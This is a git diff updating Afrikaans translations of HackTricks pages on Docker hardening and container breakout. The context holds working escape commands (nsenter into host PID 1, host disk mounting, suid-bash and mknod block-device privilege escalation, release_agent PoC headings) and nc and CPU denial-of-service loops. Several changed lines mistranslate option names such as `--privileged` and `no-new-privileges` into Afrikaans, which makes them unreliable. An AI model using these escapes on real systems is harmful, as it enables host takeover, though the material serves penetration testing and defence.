gewoonlik toegewys aan 'n beperkte SELinux-etiket, gewoonlik `container_t`. * **Lêeretikettering binne Houers**: Lêers binne die houer word gewoonlik geëtiketteer as `container_file_t`. -* **Beleidreëls**: Die SELinux-beleid verseker hoofsaaklik dat prosesse met die `container_t`-etiket slegs met lêers wat as `container_file_t` geëtiketteer is, kan interaksie hê (lees, skryf, uitvoer). +* **Beleidreëls**: Die SELinux-beleid verseker hoofsaaklik dat prosesse met die `container_t`-etiket slegs kan interaksie hê (lees, skryf, uitvoer) met lêers wat geëtiketteer is as `container_file_t`. -Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gekompromitteer is, dit beperk is om slegs met voorwerpe te interaksieer wat die ooreenstemmende etikette het, wat die potensiële skade van sulke kompromitterings aansienlik beperk. +Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gekompromitteer is, dit beperk is tot interaksie slegs met objekte wat die ooreenstemmende etikette het, wat die potensiële skade van sulke kompromitterings aansienlik beperk. {% content-ref url="../selinux.md" %} [selinux.md](../selinux.md) @@ -243,7 +243,7 @@ Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gekompromitteer In Docker speel 'n outorisasie-inprop 'n kritieke rol in sekuriteit deur te besluit of versoek aan die Docker-daemon toegelaat of geblokkeer moet word. Hierdie besluit word geneem deur twee sleutelkontekste te ondersoek: * **Outentiseringskonteks**: Dit sluit omvattende inligting oor die gebruiker in, soos wie hulle is en hoe hulle hulself geoutentiseer het. -* **Opdragkonteks**: Dit behels alle relevante data wat verband hou met die versoek wat gedoen word. +* **Bevelkonteks**: Dit sluit alle relevante data in wat verband hou met die versoek wat gedoen word. Hierdie kontekste help verseker dat slegs legitieme versoek van geoutentiseerde gebruikers verwerk word, wat die sekuriteit van Docker-operasies verbeter. @@ -263,27 +263,27 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` -* Bandwydte DoS +* Bandbreedte DoS ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` -## Interessante Docker-vlae +## Interessante Docker-vlakke -### --privileged vlag +### --bevoorregte vlag -Op die volgende bladsy kan jy leer **wat impliseer die `--privileged` vlag**: +Op die volgende bladsy kan jy leer **wat impliseer die `--bevoorregte` vlag**: {% content-ref url="docker-privileged.md" %} [docker-privileged.md](docker-privileged.md) {% endcontent-ref %} -### --security-opt +### --sekuriteit-optie -#### no-new-privileges +#### geen-nuwe-bevoorregting -As jy 'n houer hardloop waar 'n aanvaller daarin slaag om toegang te kry as 'n lae-privilege-gebruiker. As jy 'n **verkeerd ingestelde suid-binêre lêer** het, kan die aanvaller dit misbruik en **privileges binne-in** die houer **verhoog**. Dit mag hom in staat stel om daaruit te ontsnap. +As jy 'n houer hardloop waar 'n aanvaller daarin slaag om toegang te kry as 'n lae-bevoorregte gebruiker. As jy 'n **sleg-gekonfigureerde suid-binêre lêer** het, kan die aanvaller dit misbruik en **bevoorregting binne** die houer **opgradeer**. Dit kan hom moontlik toelaat om daaruit te ontsnap. -Die houer hardloop met die **`no-new-privileges`** opsie geaktiveer sal hierdie soort privilege-escalatie **voorkom**. +Die houer hardloop met die **`geen-nuwe-bevoorregting`** opsie geaktiveer sal **hierdie soort bevoorregtingsopgradering voorkom**. ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` @@ -308,19 +308,19 @@ Vir meer **`--security-opt`**-opsies, kyk na: [https://docs.docker.com/engine/re ### Bestuur van Geheime: Beste Praktyke -Dit is noodsaaklik om te vermy om geheime direk in Docker-beelde in te sluit of om omgewingsveranderlikes te gebruik, aangesien hierdie metodes jou sensitiewe inligting blootstel aan enigiemand met toegang tot die houer deur opdragte soos `docker inspect` of `exec`. +Dit is noodsaaklik om te vermy om geheime direk in Docker-beelde in te sluit of om omgewingsveranderlikes te gebruik, aangesien hierdie metodes jou sensitiewe inligting blootstel aan enigiemand met toegang tot die houer deur bevele soos `docker inspect` of `exec`. **Docker volumes** is 'n veiliger alternatief, aanbeveel vir die benadering van sensitiewe inligting. Hulle kan gebruik word as 'n tydelike lêersisteem in die geheue, wat die risiko's wat verband hou met `docker inspect` en logging verminder. Nietemin kan root-gebruikers en diegene met `exec`-toegang tot die houer steeds die geheime benader. -**Docker-geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir gevalle wat geheime tydens die beeldfase benodig, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd geheime, wat bou spoed verbeter en addisionele kenmerke bied. +**Docker-geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir gevalle waar geheime tydens die beeldboufase benodig word, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd-geheime, wat bou spoed verbeter en addisionele kenmerke bied. Om van BuildKit gebruik te maak, kan dit op drie maniere geaktiveer word: 1. Deur 'n omgewingsveranderlike: `export DOCKER_BUILDKIT=1` -2. Deur opdragte te voorafgaan: `DOCKER_BUILDKIT=1 docker build .` +2. Deur bevele te voorafgaan: `DOCKER_BUILDKIT=1 docker build .` 3. Deur dit standaard in die Docker-konfigurasie te aktiveer: `{ "features": { "buildkit": true } }`, gevolg deur 'n Docker-herlaai. -BuildKit maak die gebruik van bou-tyd geheime moontlik met die `--secret`-opsie, wat verseker dat hierdie geheime nie ingesluit word in die beeldboukas of die finale beeld nie, deur 'n opdrag soos die volgende te gebruik: +BuildKit maak die gebruik van bou-tyd-geheime met die `--secret`-opsie moontlik, wat verseker dat hierdie geheime nie ingesluit word in die beeldbou-kas of die finale beeld nie, deur 'n bevel soos: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` @@ -343,44 +343,44 @@ In Kubernetes-omgewings word geheime ondersteun en kan verder bestuur word met g ### gVisor -**gVisor** is 'n aansoek-kernel, geskryf in Go, wat 'n aansienlike deel van die Linux-sisteemoppervlak implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) uitvoertyd genaamd `runsc` in wat 'n **isoleringgrens tussen die aansoek en die gasheerkernel** bied. Die `runsc`-uitvoertyd integreer met Docker en Kubernetes, wat dit maklik maak om gesandbokte houers te hardloop. +**gVisor** is 'n aansoek-kernel, geskryf in Go, wat 'n aansienlike deel van die Linux-sisteemoppervlak implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) uitvoertyd genaamd `runsc` in wat 'n **isoleringgrens tussen die aansoek en die gasheerkernel** bied. Die `runsc`-uitvoertyd integreer met Docker en Kubernetes, wat dit eenvoudig maak om gesandbokte houers te hardloop. {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers** is 'n oopbron-gemeenskap wat werk aan die bou van 'n veilige houeruitvoertyd met ligte virtuele masjiene wat soos houers voel en optree, maar **sterker werklas-isolering bied deur hardeware-virtualisering** tegnologie as 'n tweede verdedigingslaag. +**Kata Containers** is 'n oopbron-gemeenskap wat werk om 'n veilige houeruitvoertyd met ligte virtuele masjiene te bou wat soos houers voel en optree, maar **sterker werklas-isolering bied deur hardeware-virtualisasietegnologie as 'n tweede verdedigingslaag** te gebruik. {% embed url="https://katacontainers.io/" %} ### Opsomming van Wenke -* **Moenie die `--privileged` vlag gebruik of 'n** [**Docker-socket binne die houer koppel nie**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die docker-socket maak dit moontlik om houers te skep, dus is dit 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te hardloop. -* Moet **nie as wortel binne die houer hardloop nie. Gebruik 'n** [**verskillende gebruiker**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **en** [**gebruiker-ruimtes**](https://docs.docker.com/engine/security/userns-remap/)**.** Die wortel in die houer is dieselfde as op die gasheer tensy dit met gebruiker-ruimtes herkartografeer word. Dit word slegs lig beperk deur, hoofsaaklik, Linux-ruimtes, vermoëns en cgroups. -* [**Laat alle vermoëns val**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) en aktiveer slegs dié wat benodig word** (`--cap-add=...`). Baie werklaste benodig nie enige vermoëns nie en om dit by te voeg, verhoog die omvang van 'n potensiële aanval. +* **Moenie die `--privileged` vlag gebruik of 'n** [**Docker-socket binne die houer koppel**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die docker-socket maak dit moontlik om houers te skep, dus is dit 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te hardloop. +* Moet **nie as wortel binne die houer hardloop nie. Gebruik 'n** [**verskillende gebruiker**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **en** [**gebruikersnaamruimtes**](https://docs.docker.com/engine/security/userns-remap/)**.** Die wortel in die houer is dieselfde as op die gasheer tensy dit met gebruikersnaamruimtes herkart is. Dit word slegs lig beperk deur, hoofsaaklik, Linux-naamruimtes, vermoëns en cgroups. +* [**Laat alle vermoëns val**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) en aktiveer slegs dié wat benodig word** (`--cap-add=...`). Baie werklaste benodig nie enige vermoëns nie en die byvoeging daarvan verhoog die omvang van 'n potensiële aanval. * [**Gebruik die "no-new-privileges" veiligheidsoptie**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) om te voorkom dat prosesse meer vermoëns verkry, byvoorbeeld deur suid-binêre lêers. -* [**Beperk hulpbronne wat beskikbaar is vir die houer**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Hulpbronlimiete kan die masjien teen ontkenning van diensaanvalle beskerm. +* [**Beperk hulpbronne wat aan die houer beskikbaar is**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Hulpbronlimiete kan die masjien teen ontkenning van diensaanvalle beskerm. * **Pas** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(of SELinux)** profiele aan om die aksies en stelseloproepe wat vir die houer beskikbaar is, tot die minimum benodigde te beperk. * **Gebruik** [**amptelike docker-beelde**](https://docs.docker.com/docker-hub/official\_images/) **en vereis handtekeninge** of bou jou eie gebaseer op hulle. Moet nie erfenis of [agterdeur](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) beelde gebruik nie. Berg ook wortelsleutels, wagwoord op 'n veilige plek op. Docker het planne om sleutels met UCP te bestuur. -* **Herbou gereeld** jou beelde om **sekuriteitspatches op die gasheer en beelde toe te pas.** -* Bestuur jou **geheime wyslik** sodat dit moeilik is vir die aanvaller om daartoe toegang te verkry. +* **Herbou gereeld** jou beelde om **sekuriteitsopdaterings op die gasheer en beelde toe te pas.** +* Bestuur jou **geheime wys** sodat dit moeilik is vir die aanvaller om daartoe toegang te verkry. * As jy **die docker-daemon blootstel, gebruik HTTPS** met klient- en bedienerverifikasie. -* In jou Dockerfile, **gee voorkeur aan KOPIE in plaas van VOEG BY**. VOEG BY onttrek outomaties gezip-lêers en kan lêers vanaf URL's kopieer. KOPIE het nie hierdie vermoëns nie. Vermy waar moontlik om VOEG BY te gebruik sodat jy nie vatbaar is vir aanvalle deur afgeleë URL's en Zip-lêers nie. +* In jou Dockerfile, **gee voorkeur aan KOPIE in plaas van BYVOEG**. BYVOEG onttrek outomaties gezip-lêers en kan lêers vanaf URL's kopieer. KOPIE het nie hierdie vermoëns nie. Vermy waar moontlik die gebruik van BYVOEG sodat jy nie vatbaar is vir aanvalle deur afgeleë URL's en Zip-lêers nie. * Het **afsonderlike houers vir elke mikrodiens** * **Moenie ssh** binne die houer sit nie, "docker exec" kan gebruik word om na die houer te ssh. * Het **kleiner** houer **beelde** ## Docker Uitbreek / Voorreg-escalasie -As jy **binne 'n docker-houer is** of jy het toegang tot 'n gebruiker in die **docker-groep**, kan jy probeer om **te ontsnap en voorregte te eskaleer**: +As jy **binne 'n docker-houer** is of jy toegang het tot 'n gebruiker in die **docker-groep**, kan jy probeer om **te ontsnap en voorregte te eskaleer**: {% content-ref url="docker-breakout-privilege-escalation/" %} [docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/) {% endcontent-ref %} -## Docker-verifikasie-inprop-deurkruising +## Docker-verifikasiepropbypass -As jy toegang het tot die docker-socket of toegang het tot 'n gebruiker in die **docker-groep, maar jou aksies word beperk deur 'n docker-verifikasie-inprop**, kyk of jy dit kan **deurkruis:** +As jy toegang het tot die docker-socket of toegang het tot 'n gebruiker in die **docker-groep, maar jou aksies word beperk deur 'n docker-verifikasieprop**, kyk of jy dit kan **verbygaan:** {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -410,10 +410,10 @@ Jy moet die gereedskap vanaf die gasheer wat Docker hardloop of vanaf 'n houer m
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsgereedskap.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) om maklik werkstrome te bou en te **outomatiseer** met die wêreld se **mees gevorderde** gemeenskapsgereedskap.\ Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index 6a84b4049..28e2f5e98 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -6,21 +6,21 @@ Ander maniere om HackTricks te ondersteun: -* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} ## Outomatiese Opsomming & Ontsnapping @@ -28,11 +28,11 @@ Kry Vandaag Toegang: * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Hierdie instrument is redelik **nuttig om die houer waarin jy is te opsom en selfs probeer om outomaties te ontsnap** * [**amicontained**](https://github.com/genuinetools/amicontained): Nuttige instrument om die voorregte te kry wat die houer het om maniere te vind om daaruit te ontsnap * [**deepce**](https://github.com/stealthcopter/deepce): Instrument om houers te opsom en daaruit te ontsnap -* [**grype**](https://github.com/anchore/grype): Kry die CVE's wat in die sagteware geïnstalleer in die beeld bevat +* [**grype**](https://github.com/anchore/grype): Kry die CVE's wat in die sagteware geïnstalleer in die beeld bevat word ## Gemonteerde Docker Sokkel Ontsnapping -As jy op een of ander manier vind dat die **docker sokkel berge** binne die docker houer, sal jy daaruit kan ontsnap.\ +As jy op een of ander manier vind dat die **docker sokkel binne die docker houer gemonteer is**, sal jy daaruit kan ontsnap.\ Dit gebeur gewoonlik in docker-houers wat om een ​​of ander rede moet koppel aan die docker daemon om aksies uit te voer. ```bash #Search the socket @@ -70,11 +70,11 @@ Daarbenewens, let op die uitvoeringsokkels van ander hoëvlak-uitvoeringsomgewin * ... {% endhint %} -## Capabilities Misbruik Ontsnapping +## Misbruik van Bevoegdhede Ontsnapping -Jy moet die kapasiteite van die houer nagaan, as dit enige van die volgende het, kan jy dalk daaruit ontsnap: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** +Jy moet die bevoegdhede van die houer nagaan, as dit enige van die volgende het, kan jy dalk daaruit ontsnap: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** -Jy kan tans die kapasiteite van die houer nagaan deur die **voorheen genoemde outomatiese gereedskap** of: +Jy kan tans die houer se bevoegdhede nagaan deur **voorheen genoemde outomatiese gereedskap** of te gebruik: ```bash capsh --print ``` @@ -84,7 +84,7 @@ Op die volgende bladsy kan jy **meer leer oor Linux-vermoëns** en hoe om dit te [linux-capabilities.md](../../linux-capabilities.md) {% endcontent-ref %} -## Ontsnapping uit Bevoorregte Houers +## Ontsnap uit Bevoorregte Houers 'n Bevoorregte houer kan geskep word met die vlag `--privileged` of deur spesifieke verdedigings uit te skakel: @@ -98,7 +98,7 @@ Op die volgende bladsy kan jy **meer leer oor Linux-vermoëns** en hoe om dit te * `--cgroupns=host` * `Mount /dev` -Die `--privileged` vlag verlaag houer-sekuriteit aansienlik, deur **onbeperkte toesteltoegang** te bied en **veral beskermingslae te omseil**. Vir 'n gedetailleerde ontleding, verwys na die dokumentasie oor die volle impakte van `--privileged`. +Die `--privileged` vlag verlaag houer-sekuriteit aansienlik, deur **ongelimiteerde toesteltoegang** te bied en **verskeie beskermings** te omseil. Vir 'n gedetailleerde uiteensetting, verwys na die dokumentasie oor die volle impakte van `--privileged`. {% content-ref url="../docker-privileged.md" %} [docker-privileged.md](../docker-privileged.md) @@ -106,7 +106,7 @@ Die `--privileged` vlag verlaag houer-sekuriteit aansienlik, deur **onbeperkte t ### Bevoorregte + hostPID -Met hierdie toestemmings kan jy net **beweeg na die namespace van 'n proses wat op die gasheer as root hardloop** soos init (pid:1) deur net te hardloop: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +Met hierdie toestemmings kan jy net **beweeg na die namespace van 'n proses wat as root op die gasheer hardloop**, soos init (pid:1) deur net te hardloop: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` Toets dit in 'n houer deur uit te voer: ```bash @@ -116,7 +116,7 @@ docker run --rm -it --pid=host --privileged ubuntu bash Net met die bevoorregte vlag kan jy probeer om **toegang tot die gasheer se skyf** te kry of probeer om **ontsnapping te misbruik deur release\_agent of ander ontsnappings**. -Toets die volgende omleidings in 'n houer uit te voer: +Toets die volgende omseilings in 'n houer uit te voer: ```bash docker run --rm -it --privileged ubuntu bash ``` @@ -156,7 +156,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` -#### Bevoorregte Ontsnapping deur gebruik te maak van bestaande release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 +#### Bevoorregte Ontsnapping Deur gebruik te maak van bestaande release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 {% code title="Aanvanklike PoC" %} ```bash @@ -194,7 +194,7 @@ cat /o ``` {% endcode %} -#### Bevoorregte Ontsnapping deur die skepping van release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 +#### Bevoorregte Ontsnapping deur skepping van release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 {% code title="Tweede PoC" %} ```bash @@ -246,7 +246,7 @@ Vind 'n **verduideliking van die tegniek** in: [docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md) {% endcontent-ref %} -#### Bevoorregte Ontsnapping deur die release\_agent te misbruik sonder om die relatiewe pad te ken - PoC3 +#### Bevoorregte Ontsnapping deur die misbruik van release\_agent sonder om die relatiewe pad te ken - PoC3 In die vorige aanvalle is die **absoluite pad van die houer binne die gasheer se lêersisteem bekendgemaak**. Dit is egter nie altyd die geval nie. In gevalle waar jy **nie die absoluite pad van die houer binne die gasheer ken nie** kan jy hierdie tegniek gebruik: @@ -340,7 +340,7 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -#### Bevoorregte Ontsnapping deur Misbruik van Sensitiewe Monteerplekke +#### Bevoorregte Ontsnapping deur Misbruik van Sensitiewe Monterings Daar is verskeie lêers wat gemonteer kan word wat **inligting oor die onderliggende gasheer** gee. Sommige van hulle kan selfs **aandui dat iets deur die gasheer uitgevoer moet word wanneer iets gebeur** (wat 'n aanvaller in staat sal stel om uit die houer te ontsnap). Die misbruik van hierdie lêers mag toelaat dat: @@ -350,22 +350,22 @@ Daar is verskeie lêers wat gemonteer kan word wat **inligting oor die onderligg * [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) * [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -Nietemin, kan jy **ander sensitiewe lêers** vind om te kontroleer op hierdie bladsy: +Nietemin, kan jy **ander sensitiewe lêers** om vir te kyk op hierdie bladsy vind: {% content-ref url="sensitive-mounts.md" %} [sensitive-mounts.md](sensitive-mounts.md) {% endcontent-ref %} -### Willekeurige Monteerplekke +### Willekeurige Monterings -In verskeie gevalle sal jy vind dat die **houer 'n volume gemonteer het vanaf die gasheer**. As hierdie volume nie korrek geconfigureer is nie, kan jy dalk in staat wees om **toegang te verkry/wysig tot sensitiewe data**: Lees geheime, verander ssh authorized\_keys... +In verskeie geleenthede sal jy vind dat die **houdster 'n volume van die gasheer gemonteer het**. As hierdie volume nie korrek geconfigureer is nie, kan jy dalk in staat wees om **toegang te verkry/wysig tot sensitiewe data**: Lees geheime, verander ssh authorized\_keys... ```bash docker run --rm -it -v /:/host ubuntu bash ``` ### Voorregverhoging met 2 doppe en gasheerberg As jy toegang het as **root binne 'n houer** wat 'n paar vouers van die gasheerberg gemonteer het en jy het **ontsnap as 'n nie-bevoorregte gebruiker na die gasheer** en het leestoegang oor die gemonteerde vouer.\ -Jy kan 'n **bash suid-lêer** skep in die **gemonteerde vouer** binne die **houer** en dit vanaf die gasheer **uitvoer** vir voorregverhoging. +Jy kan 'n **bash suid-lêer** skep in die **gemonteerde vouer** binne die **houer** en dit vanaf die gasheer **uitvoer** om voorregverhoging te bewerkstellig. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -375,10 +375,10 @@ bash -p #From non priv inside mounted folder ``` ### Voorregskaping met 2 doppe -As jy toegang het as **root binne 'n houer** en jy het **ontsnap as 'n nie-bevoorregte gebruiker na die gasheer**, kan jy beide doppe misbruik om **voorregskaping binne die gasheer** te bewerkstellig as jy die vermoë MKNOD binne die houer het (dit is standaard) soos [**verduidelik in hierdie pos**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -Met so 'n vermoë word die root-gebruiker binne die houer toegelaat om **bloktoestel-lêers te skep**. Toestellêers is spesiale lêers wat gebruik word om **onderliggende hardeware & kernelmodules te benader**. Byvoorbeeld, die /dev/sda bloktoestel-lêer gee toegang om **die rou data op die stelsel se skyf te lees**. +Indien jy toegang het as **root binne 'n houer** en jy het **ontsnap as 'n nie-bevoorregte gebruiker na die gasheer**, kan jy beide doppe misbruik om **voorregskaping binne die gasheer** te bewerkstellig as jy die vermoë MKNOD binne die houer het (dit is standaard) soos [**verduidelik in hierdie pos**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ +Met so 'n vermoë word die root-gebruiker binne die houer toegelaat om **bloktoestel lêers te skep**. Toestel lêers is spesiale lêers wat gebruik word om **toegang tot die onderliggende hardeware & kernel modules** te verkry. Byvoorbeeld, die /dev/sda bloktoestel lêer gee toegang om **die rou data op die stelsel se skyf** te lees. -Docker beskerm teen misbruik van bloktoestelle binne houers deur 'n cgroup-beleid af te dwing wat **bloktoestel lees/skryf-operasies blokkeer**. Nietemin, as 'n bloktoestel binne die houer **geskep word**, word dit toeganklik van buite die houer via die **/proc/PID/root/**-gids. Hierdie toegang vereis dat die **proses-eienaar dieselfde is** binne en buite die houer. +Docker beskerm teen misbruik van bloktoestelle binne houers deur 'n cgroup beleid af te dwing wat **bloktoestel lees/skryf operasies blokkeer**. Nietemin, as 'n bloktoestel binne die houer **geskep word**, word dit toeganklik van buite die houer via die **/proc/PID/root/** gids. Hierdie toegang vereis dat die **proses eienaar dieselfde is** binne en buite die houer. **Uitbuiting** voorbeeld van hierdie [**verslag**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash @@ -446,23 +446,23 @@ cat /proc/635813/fd/4 Jy kan ook **prosesse doodmaak en 'n DoS veroorsaak**. {% hint style="warning" %} -As jy op een of ander manier bevoorregte **toegang oor 'n proses buite die houer** het, kan jy iets soos `nsenter --target --all` of `nsenter --target --mount --net --pid --cgroup` hardloop om **'n skaal met dieselfde ns-beperkings** (hopelik geen) **as daardie proses** te hardloop. +As jy op een of ander manier bevoorregte **toegang oor 'n proses buite die houer** het, kan jy iets soos `nsenter --target --all` of `nsenter --target --mount --net --pid --cgroup` hardloop om 'n skul met dieselfde ns-beperkings (hopelik geen) **as daardie proses** te **hardloop**. {% endhint %} ### hostNetwork ``` docker run --rm -it --network=host ubuntu bash ``` -Indien 'n houer ingestel is met die Docker [gasnetwerkbestuurder (`--network=host`)](https://docs.docker.com/network/host/), is daardie houer se netwerkstapel nie geïsoleer van die Docker-gashouer nie (die houer deel die gas se netwerk-namespace), en die houer kry nie sy eie IP-adres toegewys nie. Met ander woorde, **bind die houer alle dienste direk aan die gas se IP**. Verder kan die houer **ALLE netwerkverkeer wat die gas** stuur en ontvang op die gedeelde koppelvlak onderskep met `tcpdump -i eth0`. +Indien 'n houer ingestel is met die Docker [gasnetwerkbestuurder (`--network=host`)](https://docs.docker.com/network/host/), is daardie houer se netwerkstapel nie geïsoleer vanaf die Docker-gashouer nie (die houer deel die gas se netwerk-namespace), en die houer kry nie sy eie IP-adres toegewys nie. Met ander woorde, die **houer bind alle dienste direk aan die gas se IP**. Verder kan die houer **ALLE netwerkverkeer wat die gas** stuur en ontvang op die gedeelde koppelvlak onderskep `tcpdump -i eth0`. -Byvoorbeeld, jy kan dit gebruik om verkeer tussen die gas en metadata-instansie te **sniff en selfs te spoof**. +Byvoorbeeld, jy kan dit gebruik om **verkeer te snuif en selfs te vervals** tussen die gas en metadata-instansie. Soos in die volgende voorbeelde: * [Verslag: Hoe om Google SRE te kontak: 'n Skulping in die wolk SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [Metadata-diens MITM maak wortelprivilege-escalatie moontlik (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) -Jy sal ook in staat wees om **netwerkdienste wat aan die plaaslike gas gebind is** binne die gas te bereik of selfs die **metadata-toestemmings van die node** te bereik (wat dalk anders as dié is wat 'n houer kan bereik). +Jy sal ook in staat wees om **netwerkdienste wat aan localhost gebind is** binne die gas te bereik of selfs toegang te verkry tot die **metadata-toestemmings van die node** (wat dalk verskil van dié wat 'n houer kan bereik). ### hostIPC ```bash @@ -475,50 +475,50 @@ Met `hostIPC=true`, verkry jy toegang tot die inter-process kommunikasie (IPC) b ### Herstel vaardighede -As die systaalaanroep **`unshare`** nie verbied is nie, kan jy al die vaardighede herwin deur die volgende uit te voer: +As die systaalaanroep **`unshare`** nie verbied is nie, kan jy al die vaardighede herstel deur uit te voer: ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` -### 